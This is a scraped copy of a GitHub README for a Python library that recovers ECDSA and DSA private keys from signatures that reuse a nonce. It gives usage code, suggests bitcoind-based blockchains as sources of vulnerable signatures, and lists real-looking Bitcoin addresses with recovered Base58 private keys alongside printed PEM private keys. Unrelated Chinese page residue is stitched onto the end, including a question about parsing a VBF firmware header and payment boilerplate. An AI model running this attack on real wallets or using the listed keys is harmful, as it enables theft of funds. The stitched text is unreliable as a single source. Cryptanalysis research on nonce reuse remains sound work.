signature=a689942569729355b8b370b29761b62a,GitHub - tintinweb/ecdsa-private-key-recovery: A simple l...

ecdsa-key-recovery

Pperform ECDSA and DSA Nonce Reuse private key recovery attacks

This is kind of an improved version of the DSA only variant from https://github.com/tintinweb/DSAregenK

Let's recover the private-key for two signatures sharing the same nonce k. Note how chosing the same nonce k results in both signatures having an identical signature value r. To find good candidates for an ECDSA nonce reuse check for signatures sharing the same r, pubkey on curve for different messages (or hashes). E.g. blockchain projects based off bitcoind are usually good sources of ECDSA signature material.

sampleA (r, sA, hashA, pubkey, curve)

sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)

sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.

# recover the private key

sampleA.recover_nonce_reuse(sampleB) # populates sampleA with the recovered private key ready for use

print sampleA.privkey

setup

#> virtualenv -p python2.7 .env27

#> . .env27/bin/activate

(.env27) #> python setup.py install

(.env27) #> python tests/test_ecdsa_key_recovery.py

Recovering Private Keys from the Bitcoin Blockchain

BTC Address

Base58 Privkey

r

1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962

5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT

113563387324078878147267949860139475116142082788494055785668341901521289846519

1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962

5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT

18380471981355278106073484610981598768079378179376623360720556873242139981984

1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W

5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw

19682383735358733565748628081379024202682929012377912380310432818686294127462

1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962

5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT

6828441658514710620715231245132541628903431519484374098968817647395811175535

Example

create recoverable signature objects:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature

# specify curve

curve = ecdsa.SECP256k1

# create standard ecdsa pubkey object from hex-encoded string

pub = ecdsa.VerifyingKey.from_string(

"a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc".decode(

"hex"), curve=curve).pubkey

# create sampleA and sampleB recoverable signature objects.

# long r, long s, bytestr hash, pubkey obj.

sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r

49278124892733989732191499899232294894006923837369646645433456321810805698952), #s

bignum_to_hex(

765305792208265383632692154455217324493836948492122104105982244897804317926).decode(

"hex"),

pub)

sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r

34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'

bignum_to_hex(

23350593486085962838556474743103510803442242293209938584974526279226240784097).decode(

"hex"),

pub)

# key not yet recovered

assert (sampleA.x is None)

recover the private key for sampleA

# attempt to recover key - this updated object sampleA

sampleA.recover_nonce_reuse(sampleB) # recover privatekey shared with sampleB

assert (sampleA.x is not None) # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object

assert sampleA.privkey

output

INFO:__main__:------------EcDSA------------

DEBUG:__main__: - recovering private-key from nonce reuse ...

DEBUG:__main__: - Private key recovered!

-----BEGIN EC PRIVATE KEY-----

MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK

oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q

oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==

-----END EC PRIVATE KEY-----

DEBUG:__main__: - recovering private-key from nonce reuse ...

DEBUG:__main__: - Private key recovered!

-----BEGIN EC PRIVATE KEY-----

MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK

oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q

oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==

-----END EC PRIVATE KEY-----

INFO:__main__:------------DSA------------

DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_dsaobj y>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_dsaobj y>))

DEBUG:__main__:Signature Objects: [, ]

DEBUG:__main__: - recovering privatekey from nonce reuse...

DEBUG:__main__: - Private key recovered!

-----BEGIN PRIVATE KEY-----

MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0

mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN

GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl

qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT

nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp

+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt

JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==

-----END PRIVATE KEY-----

DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_dsaobj y>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_dsaobj y>))

DEBUG:__main__:Signature Objects: [, ]

DEBUG:__main__: - recovering privatekey from nonce reuse...

DEBUG:__main__: - Private key recovered!

-----BEGIN PRIVATE KEY-----

MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9

mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm

oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg

XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8

+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF

MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97

Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=

-----END PRIVATE KEY-----

The library is written in a way that it tries to upgrade pubkey only ecdsa objects to private key enabled ecdsa objects upon successful recovery. This makes it easy to work with recovered key objects. The library performs both ECDSA and DSA key recovery.

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
头信息示例如下vbf_version = 2.6; header { sw_part_number = "8895913857"; sw_version = "B"; sw_part_type = DATA; data_format_identifier = 0x00; ecu_address = 0x1012; erase = { { 0x00B60000, 0x00010000 }, { 0x40200300, 0x00000D00 } }; verification_block_start = 0x40200300; verification_block_length = 0x0000002C; verification_block_root_hash = 0x3AB70E8A9C521B370E37D6FF03263770426297167C495C80C8AF3EA0B9AC3C7C; file_checksum = 0xEDB03AFF; sw_signature_dev = 0x7B3E3A02DBBC87DCC7BB9BFD795C7D1355C82DCA947BA5225B5BC549F4FF1648C3DC78C7947DF7F751A856351FBF340CB9F9E5B0790F026DC080800EA8A7AE6383DF63A0C8447ADB921A29A6FD2B84BA83D4769301FDBD3B019442A8FC588864F299D546587019E7700C345899F4CBEA7E5F831132DDC563C589DDD64F5A842129B803BC4C324310918162BC01E6312374A370A39F201F425B4DB457F8BA829A459BD5ED9E1673D9BD923D5E1287AAB45AC3B8999FC96CA514CB5EFBEBD5B23FDBF8AC944C376F44153B2C7F3B415AB87D274A4BD2DD120B70DA67721062F03125FA9D162C10855CD4F59A43253D0421A8D7AE851188E9D0EB1BAB13DE308012; sw_signature = 0x422CB67A399E4C7E0AA3621C8B9DA49947E5E655E83D0181A76CFA8FEFD250E0615576E3907530A4263F3198B8080ACE74E5113987EFA419B88B409D794860FD4A65511B2C95B1716947C6B7BE335800D8231C327AB866B7CA4D4F9CCB06BEEBDBA5EB797E21FC419B7D608D68FDD9F8095603ED298991DB8AC836D023B2059BF3641D6BADC4F626F5DC201561726FE9FB58BB4AEA0A04B0D9FE3B05C072AAA0CFE711679635187062FDB1AED7309E3D4F3400D1A4254884832CDB20C2C7DA0E264EF7F622DC0042C94AB19D7C74C966999A2A6D0F4C43EE179FFB6743FD056113898DFD1FF3E5E0DDE3B7010381857F046CCAD27357F39403FA2776821C438F; }, 请用c写代码 把头信息都解析出来
06-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值